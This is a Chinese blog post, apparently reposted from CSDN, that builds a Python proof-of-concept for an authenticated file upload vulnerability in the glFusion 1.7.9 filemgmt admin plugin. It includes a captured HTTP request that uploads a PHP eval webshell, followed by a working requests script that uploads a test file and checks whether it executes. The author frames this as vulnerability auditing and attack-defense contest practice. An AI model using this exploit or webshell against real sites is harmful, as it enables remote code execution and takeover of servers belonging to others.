使用 Python 编写文件上传漏洞Poc

前言

之前写过文件上传相关的利用脚本,但是一直不太明白,也遗憾AWD攻防时没用到自动文件上传木马。审计到一个文件上传漏洞,刚好要编写Poc,所以花点时间写一个小本。

参考:

调试过程

人工上传的请求数据

POST /glfusion-1.7.9/public_html/admin/plugins/filemgmt/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------5244765126746844271182386960
Content-Length: 1356
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/glfusion-1.7.9/public_html/admin/plugins/filemgmt/index.php?op=newfileConfigAdmin
Cookie: glf_theme=cms; glf_timezone=America%2FChicago; sc329=c5d0b2e6e8c27fa03c; pc63e=2; pwf7c=7c5ba4485f1972afcc4e9e6ec4a7745e; token=040646f16d9881cac56ce2a53db1a27c
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="title"

test2
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="newfile"; filename="test2.php"
Content-Type: application/octet-stream

<?php @eval($_POST[pump]);?>
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="fileurl"

test2
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="cid"

1
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="homepage"

test2
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="version"

test2
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="description"

test2
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="newfileshot"; filename=""
Content-Type: application/octet-stream


-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="commentoption"

1
-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="op"

addDownload
-----------------------------5244765126746844271182386960--

构造请求头

构造请求头部分,主要是添加 Cookie 字段。

不需要添加 Content-Type 字段(否则会报错),requests 库会在请求中添加该字段。 (进一步优化脚本的方向)

headers = {
    
    
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Cookie": "glf_theme=cms; glf_timezone=America%2FChicago; sc329=c5d0b2e6e8c27fa03c; pc63e=2; pwf7c=7c5ba4485f1972afcc4e9e6ec4a7745e; token=040646f16d9881cac56ce2a53db1a27c",
        # "Content-Type": "multipart/form-data; boundary=---------------------------5244765126746844271182386960",
    }

构造请求的文件字典

根据人工请求、使用burpsuite抓到的请求包,来构造脚本请求的文件字典。

表单一个参数的实例如下,
脚本的键名 => 表单的参数名,
脚本的键值 => 文件名和文件内容(或者参数值)

-----------------------------5244765126746844271182386960
Content-Disposition: form-data; name="title"

test2
    files = {
    
    
        "title": (None, "test"),
        "newfile": ("phpinfo.php", "<?php phpinfo();?>"),
        "fileurl": (None, "test"),
        "cid": (None, "1"),
        "homepage": (None, "test"),
        "version": (None, "test"),
        "description": (None, "test"),
        "op": (None, "addDownload")

        }

调试

常常需要根据请求包调试脚本,确保能够使用脚本上传正常文件。

给请求开启代理,burpsuite抓包,对比正常数据包即可。

    proxies = {
    
    
        "http": "http://127.0.0.1:8080",
    }

最新上传脚本

# coding=utf-8

import requests


def glfusion_upload(url):
    path = "/admin/plugins/filemgmt/index.php"
    headers = {
    
    
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Cookie": "glf_theme=cms; glf_timezone=America%2FChicago; sc329=c5d0b2e6e8c27fa03c; pc63e=2; pwf7c=7c5ba4485f1972afcc4e9e6ec4a7745e; token=040646f16d9881cac56ce2a53db1a27c",
        # "Content-Type": "multipart/form-data; boundary=---------------------------5244765126746844271182386960",
    }


    files = {
    
    
        "title": (None, "test"),
        "newfile": ("phpinfo.php", "<?php phpinfo();?>"),
        "fileurl": (None, "test"),
        "cid": (None, "1"),
        "homepage": (None, "test"),
        "version": (None, "test"),
        "description": (None, "test"),
        "op": (None, "addDownload")

        }

    # proxies = {
    
    
    #     "http": "http://127.0.0.1:8080",
    # }

    # resp = requests.post(url+path, headers=headers, files=files, proxies=proxies)
    resp = requests.post(url + path, headers=headers, files=files)
    print(resp.status_code)

    poc_path = "/filemgmt_data/files/phpinfo.php"
    resp2 = requests.post(url+poc_path)
    if "PHP Version" in resp2.text:
        print("[+]", url, "存在文件上传漏洞")
    else:
        print("[-]", url, "未发现文件上传漏洞")


if "__main__" == __name__:
    url = "http://127.0.0.1/glfusion-1.7.9/public_html"
    glfusion_upload(url)

猜你喜欢

转载自blog.csdn.net/soldi_er/article/details/122365146